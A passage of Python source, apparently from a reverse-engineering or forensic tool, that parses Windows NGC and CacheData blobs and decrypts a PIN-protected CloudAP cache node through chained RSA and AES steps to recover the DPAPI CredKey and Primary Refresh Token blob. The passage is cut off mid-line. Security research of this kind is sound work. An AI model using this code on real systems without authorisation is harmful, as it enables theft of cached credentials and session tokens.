rsa.RSAPrivateNumbers( 77 | self.Prime1, self.Prime2, d, dmp1, dmq1, iqmp, rsa_pub_num 78 | ) 79 | rsa_priv_key: rsa.RSAPrivateKey = rsa_priv_num.private_key() 80 | assert rsa_priv_key.key_size == self.BitLength 81 | return rsa_priv_key 82 | 83 | 84 | class NgcAsymetricKeyEncryptedBlob(eater.DataStruct): 85 | """ 86 | Undocumented _NGC_ASYMMETRIC_KEY_ENCRYPTED_BLOB structure. 87 | - 3rd arg of cryptngc!NgcDecryptWithUserIdKeySilent 88 | - 5th arg of cryptngc!DecryptWithUserIdKey 89 | 00000000 dwVersion 90 | 00000004 dwEncryptedAESKey1Length 91 | 00000008 dwIVLength 92 | 0000000C dwEncryptedAESKey2Length 93 | 00000010 dwEncryptedTPMKeyLength 94 | ... 95 | """ 96 | def __init__(self, raw=None): 97 | eater.DataStruct.__init__(self, raw) 98 | 99 | def parse(self, data): 100 | self.dwVersion = data.eat("L") 101 | self.dwEncryptedAESKey1Length = data.eat("L") 102 | self.dwIVLength = data.eat("L") 103 | self.dwEncryptedAESKey2Length = data.eat("L") 104 | self.dwEncryptedTPMKeyLength = data.eat("L") 105 | self.encryptedAESKey1 = data.eat_string(self.dwEncryptedAESKey1Length) 106 | self.IV = data.eat_string(self.dwIVLength) 107 | self.encryptedAESKey2 = data.eat_string(self.dwEncryptedAESKey2Length) 108 | self.encryptedTPMKey = data.eat_string(self.dwEncryptedTPMKeyLength) 109 | assert data.ofs == data.end, "Invalid NgcAsymetricKeyEncryptedBlob size" 110 | 111 | def __repr__(self): 112 | s = ["[+] NgcAsymetricKeyEncryptedBlob", 113 | "\tdwVersion = 0x%x" % self.dwVersion, 114 | "\tdwEncryptedAESKey1Length = 0x%x" % self.dwEncryptedAESKey1Length, 115 | "\tdwIVLength = 0x%x" % self.dwIVLength, 116 | "\tdwEncryptedAESKey2Length = 0x%x" % self.dwEncryptedAESKey2Length, 117 | "\tdwEncryptedTPMKeyLength = 0x%x" % self.dwEncryptedTPMKeyLength, 118 | "\tencryptedAESKey1 = %s" % binascii.hexlify(self.encryptedAESKey1), 119 | "\tIV = %s" % binascii.hexlify(self.IV), 120 | "\tencryptedAESKey2 = %s" % binascii.hexlify(self.encryptedAESKey2), 121 | "\tencryptedTPMKey = %s" % binascii.hexlify(self.encryptedTPMKey) 122 | ] 123 | return "\n".join(s) 124 | 125 | class ScardCacheDataBlob(eater.DataStruct): 126 | def __init__(self, raw): 127 | eater.DataStruct.__init__(self, raw) 128 | 129 | def parse(self, data): 130 | self.dwScardversion = data.eat("L") 131 | self.dwScardBlobSize = data.eat("L") 132 | self.dwScardCertOffset = data.eat("L") 133 | self.dwScardCertSize = data.eat("L") 134 | self.dwScardIVOffset = data.eat("L") 135 | self.dwScardIVSize = data.eat("L") 136 | self.dwScardEncKeyOffset = data.eat("L") 137 | self.dwScardEncKeySize = data.eat("L") 138 | self.dwScardCredKeyOffset = data.eat("L") 139 | self.dwScardCredKeySize = data.eat("L") 140 | assert data.ofs == self.dwScardCertOffset 141 | # BcryptRsaKeyBlob 142 | self.ScardCert = data.eat_string(self.dwScardCertSize) 143 | assert data.ofs == self.dwScardIVOffset 144 | self.ScardIV = data.eat_string(self.dwScardIVSize) 145 | assert data.ofs == self.dwScardEncKeyOffset 146 | # NgcAsymetricKeyEncryptedBlob 147 | self.ScardEncKey = data.eat_string(self.dwScardEncKeySize) 148 | assert data.ofs == self.dwScardCredKeyOffset 149 | self.ScardCredKey = data.eat_string(self.dwScardCredKeySize) 150 | assert self.dwScardBlobSize == ( 151 | self.dwScardCertSize + 152 | self.dwScardIVSize + 153 | self.dwScardEncKeySize + 154 | self.dwScardCredKeySize + 155 | 0x28 156 | ) 157 | 158 | def __repr__(self): 159 | s = ["[+] ScardCacheDataBlob", 160 | "\tdwScardversion = 0x%x" % self.dwScardversion, 161 | "\tdwScardBlobSize = 0x%x" % self.dwScardBlobSize, 162 | "\tdwScardCertOffset = 0x%x" % self.dwScardCertOffset, 163 | "\tdwScardCertSize = 0x%x" % self.dwScardCertSize, 164 | "\tdwScardIVOffset = 0x%x" % self.dwScardIVOffset, 165 | "\tdwScardIVSize = 0x%x" % self.dwScardIVSize, 166 | "\tdwScardEncKeyOffset = 0x%x" % self.dwScardEncKeyOffset , 167 | "\tdwScardEncKeySize = 0x%x" % self.dwScardEncKeySize, 168 | "\tdwScardCredKeyOffset = 0x%x" % self.dwScardCredKeyOffset, 169 | "\tdwScardCredKeySize = 0x%x" % self.dwScardCredKeySize 170 | ] 171 | return "\n".join(s) 172 | 173 | 174 | def decrypt_encrypted_AESKey2( 175 | aes_key_encrypted_2, aes_key_decrypted_1, IVKey1 176 | ) -> bytes: 177 | """ 178 | Implement cryptngc!DecryptNgcData() 179 | Take as the AES key, the output of decrypt_encrypted_key1(). 180 | Take as the IV, the IV specified in the EncKey blob 181 | Take as the input, the 0x30 EncryptedHeaderBlob. 182 | """ 183 | return aes_decrypt(aes_key_encrypted_2, aes_key_decrypted_1, IVKey1) 184 | 185 | 186 | def aes_decrypt(encrypted_data, key, iv) -> bytes: 187 | cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend()) 188 | decryptor = cipher.decryptor() 189 | decrypted_data = decryptor.update(encrypted_data) + decryptor.finalize() 190 | return decrypted_data 191 | 192 | 193 | def rsa_decrypt( 194 | bcrypt_rsa_key_obj: BcryptRsaKeyBlob, rsa_pub_key_cache: rsa.RSAPublicKey, ciphertext: bytes 195 | ) -> bytes: 196 | rsa_pub_key = bcrypt_rsa_key_obj.get_rsa_public_key() 197 | rsa_priv_key = bcrypt_rsa_key_obj.get_rsa_private_key() 198 | assert ( 199 | len(ciphertext) == rsa_priv_key.key_size / 8 200 | ), "Ciphertext size does not match key size for RSA decrypt operation" 201 | 202 | # Check that the RSA public specified in the CacheData file matched 203 | # the one from Microsoft Software Key Storage Provider 204 | assert ( 205 | rsa_pub_key_cache.public_numbers() == rsa_pub_key.public_numbers() 206 | ), "Public key found in CacheData does not match with provided private key" 207 | 208 | return rsa_priv_key.decrypt(ciphertext, padding.PKCS1v15()) 209 | 210 | def parse_scard_crypto_blob(cryptoBlob : bytes) -> tuple[ScardCacheDataBlob, x509.Certificate, bytes]: 211 | print('[+] Reading ScardCacheDataBlob from cryptoBlob') 212 | scard_blob = ScardCacheDataBlob(cryptoBlob) 213 | print('[+] Reading PEM x509 certificate from ScardCert') 214 | cert : x509.Certificate = x509.load_der_x509_certificate(scard_blob.ScardCert, default_backend()) 215 | print('[+] Reading NgcAsymetricKeyEncryptedBlob from ScardEncKey') 216 | # TODO: support format of ScardEncKey 217 | scard_enc_key = scard_blob.ScardEncKey 218 | return scard_blob, cert, scard_enc_key 219 | 220 | 221 | def parse_pin_crypto_blob(cryptoBlob : bytes) -> tuple[ScardCacheDataBlob, rsa.RSAPublicKey, NgcAsymetricKeyEncryptedBlob]: 222 | 223 | # From bcrypt.h -> #define BCRYPT_RSAPUBLIC_MAGIC 0x31415352 224 | rsa_public_magic_offset = cryptoBlob.find(b"RSA1") 225 | if rsa_public_magic_offset == -1: 226 | raise Exception("Unable to find BCRYPT_RSAPUBLIC_MAGIC in cryptoBlob for node of type PIN (0x5).") 227 | if rsa_public_magic_offset < 0x28: 228 | raise Exception("Unable to read SCardCacheData header in CacheData file.") 229 | 230 | print('[+] Reading ScardCacheDataBlob from cryptoBlob') 231 | scard_blob = ScardCacheDataBlob(cryptoBlob) 232 | print('[+] Reading BcryptRsaKeyBlob from ScardCert') 233 | rsa_pub_key = BcryptRsaKeyBlob(scard_blob.ScardCert).get_rsa_public_key() 234 | 235 | print('[+] Reading NgcAsymetricKeyEncryptedBlob from ScardEncKey') 236 | ngc_asym_key_blob = NgcAsymetricKeyEncryptedBlob(scard_blob.ScardEncKey) 237 | return scard_blob, rsa_pub_key, ngc_asym_key_blob 238 | 239 | 240 | def decrypt_cachedata_with_private_key(file_path, rsa_priv_key_blob): 241 | 242 | cache_data_node_list : List[CacheDataNode] = parse_cache_data(file_path) 243 | cache_data_node_pin = None 244 | for entry in cache_data_node_list: 245 | if entry.is_node_type_pin(): 246 | cache_data_node_pin = entry 247 | break 248 | if cache_data_node_pin is None: 249 | raise Exception('No node of type PIN (0x5) found in CacheData file') 250 | print('[+] CacheData node of type PIN (0x5) has been found') 251 | 252 | scard_blob, rsa_pub_key, ngc_asym_key_blob = parse_pin_crypto_blob(cache_data_node_pin.cryptoBlob) 253 | 254 | if not rsa_priv_key_blob.startswith(b"RSA2"): 255 | raise Exception("Bad private key format") 256 | rsa_priv_key_obj = BcryptRsaKeyBlob(rsa_priv_key_blob) 257 | 258 | # The rsa_priv_key_obj (encrypted version) come from the file Crypto/Keys/1c7c0d0195a393b00297fb4a1bc6efc2_c2e570f7-a2b1-4483-b686-ab4ab03d6a70 259 | # Which as the key {1EB9AF77-CC62-4C28-A173-19267DD63045} 260 | # [+] Name : //CA00CFA8-EB0F-42BA-A707-A3A43CDA5BD9 261 | # [+] Provider : Microsoft Software Key Storage Provider 262 | # [+] Key Name : {1EB9AF77-CC62-4C28-A173-19267DD63045} 263 | 264 | # RSA Decrypt #1 265 | print("[+] RSA decrypt encrypted AES key 1") 266 | decryptedAESKey1 = rsa_decrypt(rsa_priv_key_obj, rsa_pub_key, ngc_asym_key_blob.encryptedAESKey1) 267 | 268 | # AES Decrypt #1 269 | print("[+] AES decrypt encrypted AES key 2") 270 | decryptedAESkey2 = decrypt_encrypted_AESKey2( 271 | ngc_asym_key_blob.encryptedAESKey2, decryptedAESKey1, ngc_asym_key_blob.IV 272 | ) 273 | # AES-256 bit key size 274 | decryptedAESkey2 = decryptedAESkey2[:0x20] # skip padding 275 | 276 | print(f"[+] AES decrypt encrypted blob of size 0x{len(cache_data_node_pin.encryptedPRTBlob):x} (DPAPI CredKey + PRT)") 277 | # AES Decrypt #2 278 | decrypted_blob = aes_decrypt(cache_data_node_pin.encryptedPRTBlob, decryptedAESkey2, scard_blob.ScardIV) 279 | # From cloudAP!UnlockCloudAPCacheNodeData 280 | version, flags, dword3, raw_dpapi_cred_key_size = struct.unpack("